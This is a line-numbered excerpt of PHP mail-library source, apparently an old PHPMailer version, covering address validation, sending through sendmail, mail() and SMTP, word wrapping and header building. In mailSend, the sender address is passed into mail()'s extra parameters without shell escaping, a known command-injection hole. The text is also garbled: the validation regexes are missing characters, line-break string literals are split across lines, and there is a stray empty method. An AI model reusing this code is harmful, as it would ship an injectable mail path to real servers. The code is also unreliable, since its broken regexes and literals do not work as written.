  1019. )?[ ]+)?)(\((?>(?2)' . '(?>[- -\'*-\[\]-]|\[-]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[- -!#-\[\]-]|\[-]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address);
  1020. case 'pcre':
  1021. //An older regex that doesn't need a recent PCRE
  1022. return (boolean)preg_match('/^(?!(?>"?(?>\[ -~]|[^"])"?){255,})(?!(?>"?(?>\[ -~]|[^"])"?){65,}@)(?>' . '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[- -!#-\[\]-]|\[-]))*")' . '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[- -!#-\[\]-]|\[-]))*"))*' . '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' . '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address);
  1023. case 'html5':
  1024. /**
  1025. * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
  1026. * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
  1027. */
  1028. return (boolean)preg_match('/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address);
  1029. case 'noregex':
  1030. //No PCRE! Do something _very_ approximate!
  1031. //Check the address is 3 chars or longer and contains an @ that's not the first or last char
  1032. return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1);
  1033. case 'php':
  1034. default:
  1035. return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  1036. }
  1037. }
  1038. /**
  1039. * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
  1040. * "intl" and "mbstring" PHP extensions.
  1041. * @return bool "true" if required functions for IDN support are present
  1042. */
  1043. public function idnSupported() {
  1044. // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
  1045. return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
  1046. }
  1047. /**
  1048. * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
  1049. * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
  1050. * This function silently returns unmodified address if:
  1051. * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
  1052. * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
  1053. * or fails for any reason (e.g. domain has characters not allowed in an IDN)
  1054. * @see PHPMailer::$CharSet
  1055. * @param string $address The email address to convert
  1056. * @return string The encoded address in ASCII form
  1057. */
  1058. public function punyencodeAddress($address) {
  1059. // Verify we have required functions, CharSet, and at-sign.
  1060. if ($this->idnSupported() and !empty($this->CharSet) and ($pos = strrpos($address, '@')) !== false) {
  1061. $domain = substr($address, ++$pos);
  1062. // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
  1063. if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
  1064. $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
  1065. if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ? idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) : idn_to_ascii($domain)) !== false) {
  1066. return substr($address, 0, $pos) . $punycode;
  1067. }
  1068. }
  1069. }
  1070. return $address;
  1071. }
  1072. /**
  1073. * Create a message and send it.
  1074. * Uses the sending method specified by $Mailer.
  1075. * @throws phpmailerException
  1076. * @return boolean false on error - See the ErrorInfo property for details of the error.
  1077. */
  1078. public function send() {
  1079. try {
  1080. if (!$this->preSend()) {
  1081. return false;
  1082. }
  1083. return $this->postSend();
  1084. }
  1085. catch(phpmailerException $exc) {
  1086. $this->mailHeader = '';
  1087. $this->setError($exc->getMessage());
  1088. if ($this->exceptions) {
  1089. throw $exc;
  1090. }
  1091. return false;
  1092. }
  1093. }
  1094. /**
  1095. * Prepare a message for sending.
  1096. * @throws phpmailerException
  1097. * @return boolean
  1098. */
  1099. public function preSend() {
  1100. try {
  1101. $this->error_count = 0; // Reset errors
  1102. $this->mailHeader = '';
  1103. // Dequeue recipient and Reply-To addresses with IDN
  1104. foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
  1105. $params[1] = $this->punyencodeAddress($params[1]);
  1106. call_user_func_array(array($this, 'addAnAddress'), $params);
  1107. }
  1108. if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1109. throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  1110. }
  1111. // Validate From, Sender, and ConfirmReadingTo addresses
  1112. foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
  1113. $this->$address_kind = trim($this->$address_kind);
  1114. if (empty($this->$address_kind)) {
  1115. continue;
  1116. }
  1117. $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
  1118. if (!$this->validateAddress($this->$address_kind)) {
  1119. $error_message = $this->lang('invalid_address') . $this->$address_kind;
  1120. $this->setError($error_message);
  1121. $this->edebug($error_message);
  1122. if ($this->exceptions) {
  1123. throw new phpmailerException($error_message);
  1124. }
  1125. return false;
  1126. }
  1127. }
  1128. // Set whether the message is multipart/alternative
  1129. if (!empty($this->AltBody)) {
  1130. $this->ContentType = 'multipart/alternative';
  1131. }
  1132. $this->setMessageType();
  1133. // Refuse to send an empty message unless we are specifically allowing it
  1134. if (!$this->AllowEmpty and empty($this->Body)) {
  1135. throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  1136. }
  1137. // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
  1138. $this->MIMEHeader = '';
  1139. $this->MIMEBody = $this->createBody();
  1140. // createBody may have added some headers, so retain them
  1141. $tempheaders = $this->MIMEHeader;
  1142. $this->MIMEHeader = $this->createHeader();
  1143. $this->MIMEHeader.= $tempheaders;
  1144. // To capture the complete message when using mail(), create
  1145. // an extra header list which createHeader() doesn't fold in
  1146. if ($this->Mailer == 'mail') {
  1147. if (count($this->to) > 0) {
  1148. $this->mailHeader.= $this->addrAppend('To', $this->to);
  1149. } else {
  1150. $this->mailHeader.= $this->headerLine('To', 'undisclosed-recipients:;');
  1151. }
  1152. $this->mailHeader.= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader(trim($this->Subject))));
  1153. }
  1154. // Sign with DKIM if enabled
  1155. if (!empty($this->DKIM_domain) && !empty($this->DKIM_private) && !empty($this->DKIM_selector) && file_exists($this->DKIM_private)) {
  1156. $header_dkim = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody);
  1157. $this->MIMEHeader = rtrim($this->MIMEHeader, "
  1158. ") . self::CRLF . str_replace("
  1159. ", "
  1160. ", $header_dkim) . self::CRLF;
  1161. }
  1162. return true;
  1163. }
  1164. catch(phpmailerException $exc) {
  1165. $this->setError($exc->getMessage());
  1166. if ($this->exceptions) {
  1167. throw $exc;
  1168. }
  1169. return false;
  1170. }
  1171. }
  1172. public function innerBody() {
  1173. }
  1174. /**
  1175. * Actually send a message.
  1176. * Send the email via the selected mechanism
  1177. * @throws phpmailerException
  1178. * @return boolean
  1179. */
  1180. public function postSend() {
  1181. try {
  1182. // Choose the mailer and send through it
  1183. switch ($this->Mailer) {
  1184. case 'sendmail':
  1185. case 'qmail':
  1186. return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  1187. case 'smtp':
  1188. return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
  1189. case 'mail':
  1190. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1191. default:
  1192. $sendMethod = $this->Mailer . 'Send';
  1193. if (method_exists($this, $sendMethod)) {
  1194. return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  1195. }
  1196. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1197. }
  1198. }
  1199. catch(phpmailerException $exc) {
  1200. $this->setError($exc->getMessage());
  1201. $this->edebug($exc->getMessage());
  1202. if ($this->exceptions) {
  1203. throw $exc;
  1204. }
  1205. }
  1206. return false;
  1207. }
  1208. /**
  1209. * Send mail using the $Sendmail program.
  1210. * @param string $header The message headers
  1211. * @param string $body The message body
  1212. * @see PHPMailer::$Sendmail
  1213. * @throws phpmailerException
  1214. * @access protected
  1215. * @return boolean
  1216. */
  1217. protected function sendmailSend($header, $body) {
  1218. if ($this->Sender != '') {
  1219. if ($this->Mailer == 'qmail') {
  1220. $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1221. } else {
  1222. $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1223. }
  1224. } else {
  1225. if ($this->Mailer == 'qmail') {
  1226. $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  1227. } else {
  1228. $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  1229. }
  1230. }
  1231. if ($this->SingleTo) {
  1232. foreach ($this->SingleToArray as $toAddr) {
  1233. if (!@$mail = popen($sendmail, 'w')) {
  1234. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1235. }
  1236. fputs($mail, 'To: ' . $toAddr . "
  1237. ");
  1238. fputs($mail, $header);
  1239. fputs($mail, $body);
  1240. $result = pclose($mail);
  1241. $this->doCallback(($result == 0), array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1242. if ($result != 0) {
  1243. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1244. }
  1245. }
  1246. } else {
  1247. if (!@$mail = popen($sendmail, 'w')) {
  1248. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1249. }
  1250. fputs($mail, $header);
  1251. fputs($mail, $body);
  1252. $result = pclose($mail);
  1253. $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1254. if ($result != 0) {
  1255. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1256. }
  1257. }
  1258. return true;
  1259. }
  1260. /**
  1261. * Send mail using the PHP mail() function.
  1262. * @param string $header The message headers
  1263. * @param string $body The message body
  1264. * @link http://www.php.net/manual/en/book.mail.php
  1265. * @throws phpmailerException
  1266. * @access protected
  1267. * @return boolean
  1268. */
  1269. protected function mailSend($header, $body) {
  1270. $toArr = array();
  1271. foreach ($this->to as $toaddr) {
  1272. $toArr[] = $this->addrFormat($toaddr);
  1273. }
  1274. $to = implode(', ', $toArr);
  1275. if (empty($this->Sender)) {
  1276. $params = ' ';
  1277. } else {
  1278. $params = sprintf('-f%s', $this->Sender);
  1279. }
  1280. if ($this->Sender != '' and !ini_get('safe_mode')) {
  1281. $old_from = ini_get('sendmail_from');
  1282. ini_set('sendmail_from', $this->Sender);
  1283. }
  1284. $result = false;
  1285. if ($this->SingleTo && count($toArr) > 1) {
  1286. foreach ($toArr as $toAddr) {
  1287. $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  1288. $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1289. }
  1290. } else {
  1291. $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  1292. $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1293. }
  1294. if (isset($old_from)) {
  1295. ini_set('sendmail_from', $old_from);
  1296. }
  1297. if (!$result) {
  1298. throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  1299. }
  1300. return true;
  1301. }
  1302. /**
  1303. * Get an instance to use for SMTP operations.
  1304. * Override this function to load your own SMTP implementation
  1305. * @return SMTP
  1306. */
  1307. public function getSMTPInstance() {
  1308. if (!is_object($this->smtp)) {
  1309. $this->smtp = new SMTP;
  1310. }
  1311. return $this->smtp;
  1312. }
  1313. /**
  1314. * Send mail via SMTP.
  1315. * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
  1316. * Uses the PHPMailerSMTP class by default.
  1317. * @see PHPMailer::getSMTPInstance() to use a different class.
  1318. * @param string $header The message headers
  1319. * @param string $body The message body
  1320. * @throws phpmailerException
  1321. * @uses SMTP
  1322. * @access protected
  1323. * @return boolean
  1324. */
  1325. protected function smtpSend($header, $body) {
  1326. $bad_rcpt = array();
  1327. if (!$this->smtpConnect($this->SMTPOptions)) {
  1328. throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  1329. }
  1330. if ('' == $this->Sender) {
  1331. $smtp_from = $this->From;
  1332. } else {
  1333. $smtp_from = $this->Sender;
  1334. }
  1335. if (!$this->smtp->mail($smtp_from)) {
  1336. $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  1337. throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  1338. }
  1339. // Attempt to send to all recipients
  1340. foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
  1341. foreach ($togroup as $to) {
  1342. if (!$this->smtp->recipient($to[0])) {
  1343. $error = $this->smtp->getError();
  1344. $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  1345. $isSent = false;
  1346. } else {
  1347. $isSent = true;
  1348. }
  1349. $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  1350. }
  1351. }
  1352. // Only send the DATA command if we have viable recipients
  1353. if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  1354. throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  1355. }
  1356. if ($this->SMTPKeepAlive) {
  1357. $this->smtp->reset();
  1358. } else {
  1359. $this->smtp->quit();
  1360. $this->smtp->close();
  1361. }
  1362. //Create error message for any bad addresses
  1363. if (count($bad_rcpt) > 0) {
  1364. $errstr = '';
  1365. foreach ($bad_rcpt as $bad) {
  1366. $errstr.= $bad['to'] . ': ' . $bad['error'];
  1367. }
  1368. throw new phpmailerException($this->lang('recipients_failed') . $errstr, self::STOP_CONTINUE);
  1369. }
  1370. return true;
  1371. }
  1372. /**
  1373. * Initiate a connection to an SMTP server.
  1374. * Returns false if the operation failed.
  1375. * @param array $options An array of options compatible with stream_context_create()
  1376. * @uses SMTP
  1377. * @access public
  1378. * @throws phpmailerException
  1379. * @return boolean
  1380. */
  1381. public function smtpConnect($options = array()) {
  1382. if (is_null($this->smtp)) {
  1383. $this->smtp = $this->getSMTPInstance();
  1384. }
  1385. // Already connected?
  1386. if ($this->smtp->connected()) {
  1387. return true;
  1388. }
  1389. $this->smtp->setTimeout($this->Timeout);
  1390. $this->smtp->setDebugLevel($this->SMTPDebug);
  1391. $this->smtp->setDebugOutput($this->Debugoutput);
  1392. $this->smtp->setVerp($this->do_verp);
  1393. $hosts = explode(';', $this->Host);
  1394. $lastexception = null;
  1395. foreach ($hosts as $hostentry) {
  1396. $hostinfo = array();
  1397. if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  1398. // Not a valid host entry
  1399. continue;
  1400. }
  1401. // $hostinfo[2]: optional ssl or tls prefix
  1402. // $hostinfo[3]: the hostname
  1403. // $hostinfo[4]: optional port number
  1404. // The host string prefix can temporarily override the current setting for SMTPSecure
  1405. // If it's not specified, the default value is used
  1406. $prefix = '';
  1407. $secure = $this->SMTPSecure;
  1408. $tls = ($this->SMTPSecure == 'tls');
  1409. if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
  1410. $prefix = 'ssl://';
  1411. $tls = false; // Can't have SSL and TLS at the same time
  1412. $secure = 'ssl';
  1413. } elseif ($hostinfo[2] == 'tls') {
  1414. $tls = true;
  1415. // tls doesn't use a prefix
  1416. $secure = 'tls';
  1417. }
  1418. //Do we need the OpenSSL extension?
  1419. $sslext = defined('OPENSSL_ALGO_SHA1');
  1420. if ('tls' === $secure or 'ssl' === $secure) {
  1421. //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
  1422. if (!$sslext) {
  1423. throw new phpmailerException($this->lang('extension_missing') . 'openssl', self::STOP_CRITICAL);
  1424. }
  1425. }
  1426. $host = $hostinfo[3];
  1427. $port = $this->Port;
  1428. $tport = (integer)$hostinfo[4];
  1429. if ($tport > 0 and $tport < 65536) {
  1430. $port = $tport;
  1431. }
  1432. if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  1433. try {
  1434. if ($this->Helo) {
  1435. $hello = $this->Helo;
  1436. } else {
  1437. $hello = $this->serverHostname();
  1438. }
  1439. $this->smtp->hello($hello);
  1440. //Automatically enable TLS encryption if:
  1441. // * it's not disabled
  1442. // * we have openssl extension
  1443. // * we are not already using SSL
  1444. // * the server offers STARTTLS
  1445. if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
  1446. $tls = true;
  1447. }
  1448. if ($tls) {
  1449. if (!$this->smtp->startTLS()) {
  1450. throw new phpmailerException($this->lang('connect_host'));
  1451. }
  1452. // We must resend HELO after tls negotiation
  1453. $this->smtp->hello($hello);
  1454. }
  1455. if ($this->SMTPAuth) {
  1456. if (!$this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation)) {
  1457. throw new phpmailerException($this->lang('authenticate'));
  1458. }
  1459. }
  1460. return true;
  1461. }
  1462. catch(phpmailerException $exc) {
  1463. $lastexception = $exc;
  1464. $this->edebug($exc->getMessage());
  1465. // We must have connected, but then failed TLS or Auth, so close connection nicely
  1466. $this->smtp->quit();
  1467. }
  1468. }
  1469. }
  1470. // If we get here, all connection attempts have failed, so close connection hard
  1471. $this->smtp->close();
  1472. // As we've caught all exceptions, just report whatever the last one was
  1473. if ($this->exceptions and !is_null($lastexception)) {
  1474. throw $lastexception;
  1475. }
  1476. return false;
  1477. }
  1478. /**
  1479. * Close the active SMTP session if one exists.
  1480. * @return void
  1481. */
  1482. public function smtpClose() {
  1483. if ($this->smtp !== null) {
  1484. if ($this->smtp->connected()) {
  1485. $this->smtp->quit();
  1486. $this->smtp->close();
  1487. }
  1488. }
  1489. }
  1490. /**
  1491. * Set the language for error messages.
  1492. * Returns false if it cannot load the language file.
  1493. * The default language is English.
  1494. * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
  1495. * @param string $lang_path Path to the language file directory, with trailing separator (slash)
  1496. * @return boolean
  1497. * @access public
  1498. */
  1499. public function setLanguage($langcode = 'en', $lang_path = '') {
  1500. // Define full set of translatable strings in English
  1501. $PHPMAILER_LANG = array('authenticate' => 'SMTP Error: Could not authenticate.', 'connect_host' => 'SMTP Error: Could not connect to SMTP host.', 'data_not_accepted' => 'SMTP Error: data not accepted.', 'empty_message' => 'Message body empty', 'encoding' => 'Unknown encoding: ', 'execute' => 'Could not execute: ', 'file_access' => 'Could not access file: ', 'file_open' => 'File Error: Could not open file: ', 'from_failed' => 'The following From address failed: ', 'instantiate' => 'Could not instantiate mail function.', 'invalid_address' => 'Invalid address: ', 'mailer_not_supported' => ' mailer is not supported.', 'provide_address' => 'You must provide at least one recipient email address.', 'recipients_failed' => 'SMTP Error: The following recipients failed: ', 'signing' => 'Signing Error: ', 'smtp_connect_failed' => 'SMTP connect() failed.', 'smtp_error' => 'SMTP server error: ', 'variable_set' => 'Cannot set or reset variable: ', 'extension_missing' => 'Extension missing: ');
  1502. if (empty($lang_path)) {
  1503. // Calculate an absolute path so it can work if CWD is not here
  1504. $lang_path = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR;
  1505. }
  1506. $foundlang = true;
  1507. $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  1508. // There is no English translation file
  1509. if ($langcode != 'en') {
  1510. // Make sure language file path is readable
  1511. if (!is_readable($lang_file)) {
  1512. $foundlang = false;
  1513. } else {
  1514. // Overwrite language-specific strings.
  1515. // This way we'll never have missing translation keys.
  1516. $foundlang = include $lang_file;
  1517. }
  1518. }
  1519. $this->language = $PHPMAILER_LANG;
  1520. return (boolean)$foundlang; // Returns false if language not found
  1521.  
  1522. }
  1523. /**
  1524. * Get the array of strings for the current language.
  1525. * @return array
  1526. */
  1527. public function getTranslations() {
  1528. return $this->language;
  1529. }
  1530. /**
  1531. * Create recipient headers.
  1532. * @access public
  1533. * @param string $type
  1534. * @param array $addr An array of recipient,
  1535. * where each recipient is a 2-element indexed array with element 0 containing an address
  1536. * and element 1 containing a name, like:
  1537. * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
  1538. * @return string
  1539. */
  1540. public function addrAppend($type, $addr) {
  1541. $addresses = array();
  1542. foreach ($addr as $address) {
  1543. $addresses[] = $this->addrFormat($address);
  1544. }
  1545. return $type . ': ' . implode(', ', $addresses) . $this->LE;
  1546. }
  1547. /**
  1548. * Format an address for use in a message header.
  1549. * @access public
  1550. * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
  1551. * like array('joe@example.com', 'Joe User')
  1552. * @return string
  1553. */
  1554. public function addrFormat($addr) {
  1555. if (empty($addr[1])) { // No name provided
  1556. return $this->secureHeader($addr[0]);
  1557. } else {
  1558. return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader($addr[0]) . '>';
  1559. }
  1560. }
  1561. /**
  1562. * Word-wrap message.
  1563. * For use with mailers that do not automatically perform wrapping
  1564. * and for quoted-printable encoded messages.
  1565. * Original written by philippe.
  1566. * @param string $message The message to wrap
  1567. * @param integer $length The line length to wrap to
  1568. * @param boolean $qp_mode Whether to run in Quoted-Printable mode
  1569. * @access public
  1570. * @return string
  1571. */
  1572. public function wrapText($message, $length, $qp_mode = false) {
  1573. if ($qp_mode) {
  1574. $soft_break = sprintf(' =%s', $this->LE);
  1575. } else {
  1576. $soft_break = $this->LE;
  1577. }
  1578. // If utf-8 encoding is used, we will need to make sure we don't
  1579. // split multibyte characters when we wrap
  1580. $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  1581. $lelen = strlen($this->LE);
  1582. $crlflen = strlen(self::CRLF);
  1583. $message = $this->fixEOL($message);
  1584. //Remove a trailing line break
  1585. if (substr($message, -$lelen) == $this->LE) {
  1586. $message = substr($message, 0, -$lelen);
  1587. }
  1588. //Split message into lines
  1589. $lines = explode($this->LE, $message);
  1590. //Message will be rebuilt in here
  1591. $message = '';
  1592. foreach ($lines as $line) {
  1593. $words = explode(' ', $line);
  1594. $buf = '';
  1595. $firstword = true;
  1596. foreach ($words as $word) {
  1597. if ($qp_mode and (strlen($word) > $length)) {
  1598. $space_left = $length - strlen($buf) - $crlflen;
  1599. if (!$firstword) {
  1600. if ($space_left > 20) {
  1601. $len = $space_left;
  1602. if ($is_utf8) {
  1603. $len = $this->utf8CharBoundary($word, $len);
  1604. } elseif (substr($word, $len - 1, 1) == '=') {
  1605. $len--;
  1606. } elseif (substr($word, $len - 2, 1) == '=') {
  1607. $len-= 2;
  1608. }
  1609. $part = substr($word, 0, $len);
  1610. $word = substr($word, $len);
  1611. $buf.= ' ' . $part;
  1612. $message.= $buf . sprintf('=%s', self::CRLF);
  1613. } else {
  1614. $message.= $buf . $soft_break;
  1615. }
  1616. $buf = '';
  1617. }
  1618. while (strlen($word) > 0) {
  1619. if ($length <= 0) {
  1620. break;
  1621. }
  1622. $len = $length;
  1623. if ($is_utf8) {
  1624. $len = $this->utf8CharBoundary($word, $len);
  1625. } elseif (substr($word, $len - 1, 1) == '=') {
  1626. $len--;
  1627. } elseif (substr($word, $len - 2, 1) == '=') {
  1628. $len-= 2;
  1629. }
  1630. $part = substr($word, 0, $len);
  1631. $word = substr($word, $len);
  1632. if (strlen($word) > 0) {
  1633. $message.= $part . sprintf('=%s', self::CRLF);
  1634. } else {
  1635. $buf = $part;
  1636. }
  1637. }
  1638. } else {
  1639. $buf_o = $buf;
  1640. if (!$firstword) {
  1641. $buf.= ' ';
  1642. }
  1643. $buf.= $word;
  1644. if (strlen($buf) > $length and $buf_o != '') {
  1645. $message.= $buf_o . $soft_break;
  1646. $buf = $word;
  1647. }
  1648. }
  1649. $firstword = false;
  1650. }
  1651. $message.= $buf . self::CRLF;
  1652. }
  1653. return $message;
  1654. }
  1655. /**
  1656. * Find the last character boundary prior to $maxLength in a utf-8
  1657. * quoted-printable encoded string.
  1658. * Original written by Colin Brown.
  1659. * @access public
  1660. * @param string $encodedText utf-8 QP text
  1661. * @param integer $maxLength Find the last character boundary prior to this length
  1662. * @return integer
  1663. */
  1664. public function utf8CharBoundary($encodedText, $maxLength) {
  1665. $foundSplitPos = false;
  1666. $lookBack = 3;
  1667. while (!$foundSplitPos) {
  1668. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  1669. $encodedCharPos = strpos($lastChunk, '=');
  1670. if (false !== $encodedCharPos) {
  1671. // Found start of encoded character byte within $lookBack block.
  1672. // Check the encoded byte value (the 2 chars after the '=')
  1673. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  1674. $dec = hexdec($hex);
  1675. if ($dec < 128) {
  1676. // Single byte character.
  1677. // If the encoded char was found at pos 0, it will fit
  1678. // otherwise reduce maxLength to start of the encoded char
  1679. if ($encodedCharPos > 0) {
  1680. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1681. }
  1682. $foundSplitPos = true;
  1683. } elseif ($dec >= 192) {
  1684. // First byte of a multi byte character
  1685. // Reduce maxLength to split at start of character
  1686. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1687. $foundSplitPos = true;
  1688. } elseif ($dec < 192) {
  1689. // Middle byte of a multi byte character, look further back
  1690. $lookBack+= 3;
  1691. }
  1692. } else {
  1693. // No encoded character found
  1694. $foundSplitPos = true;
  1695. }
  1696. }
  1697. return $maxLength;
  1698. }
  1699. /**
  1700. * Apply word wrapping to the message body.
  1701. * Wraps the message body to the number of chars set in the WordWrap property.
  1702. * You should only do this to plain-text bodies as wrapping HTML tags may break them.
  1703. * This is called automatically by createBody(), so you don't need to call it yourself.
  1704. * @access public
  1705. * @return void
  1706. */
  1707. public function setWordWrap() {
  1708. if ($this->WordWrap < 1) {
  1709. return;
  1710. }
  1711. switch ($this->message_type) {
  1712. case 'alt':
  1713. case 'alt_inline':
  1714. case 'alt_attach':
  1715. case 'alt_inline_attach':
  1716. $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  1717. break;
  1718. default:
  1719. $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  1720. break;
  1721. }
  1722. }
  1723. /**
  1724. * Assemble message headers.
  1725. * @access public
  1726. * @return string The assembled headers
  1727. */
  1728. public function createHeader() {
  1729. $result = '';
  1730. if ($this->MessageDate == '') {
  1731. $this->MessageDate = self::rfcDate();
  1732. }
  1733. $result.= $this->headerLine('Date', $this->MessageDate);
  1734. // To be created automatically by mail()
  1735. if ($this->SingleTo) {
  1736. if ($this->Mailer != 'mail') {
  1737. foreach ($this->to as $toaddr) {
  1738. $this->SingleToArray[] = $this->addrFormat($toaddr);
  1739. }
  1740. }
  1741. } else {
  1742. if (count($this->to) > 0) {
  1743. if ($this->Mailer != 'mail') {
  1744. $result.= $this->addrAppend('To', $this->to);
  1745. }
  1746. } elseif (count($this->cc) == 0) {
  1747. $result.= $this->headerLine('To', 'undisclosed-recipients:;');
  1748. }
  1749. }
  1750. $result.= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  1751. // sendmail and mail() extract Cc from the header before sending
  1752. if (count($this->cc) > 0) {
  1753. $result.= $this->addrAppend('Cc', $this->cc);
  1754. }
  1755. // sendmail and mail() extract Bcc from the header before sending
  1756. if (($this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail') and count($this->bcc) > 0) {
  1757. $result.= $this->addrAppend('Bcc', $this->bcc);
  1758. }
